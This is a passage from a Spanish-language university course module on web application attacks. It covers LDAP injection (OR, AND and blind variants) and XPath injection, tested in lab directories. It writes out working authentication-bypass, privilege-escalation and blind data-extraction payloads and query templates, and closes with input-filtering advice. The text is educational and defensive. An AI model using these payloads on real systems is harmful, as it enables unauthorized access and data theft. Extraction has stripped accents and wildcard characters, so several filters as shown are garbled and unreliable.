Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
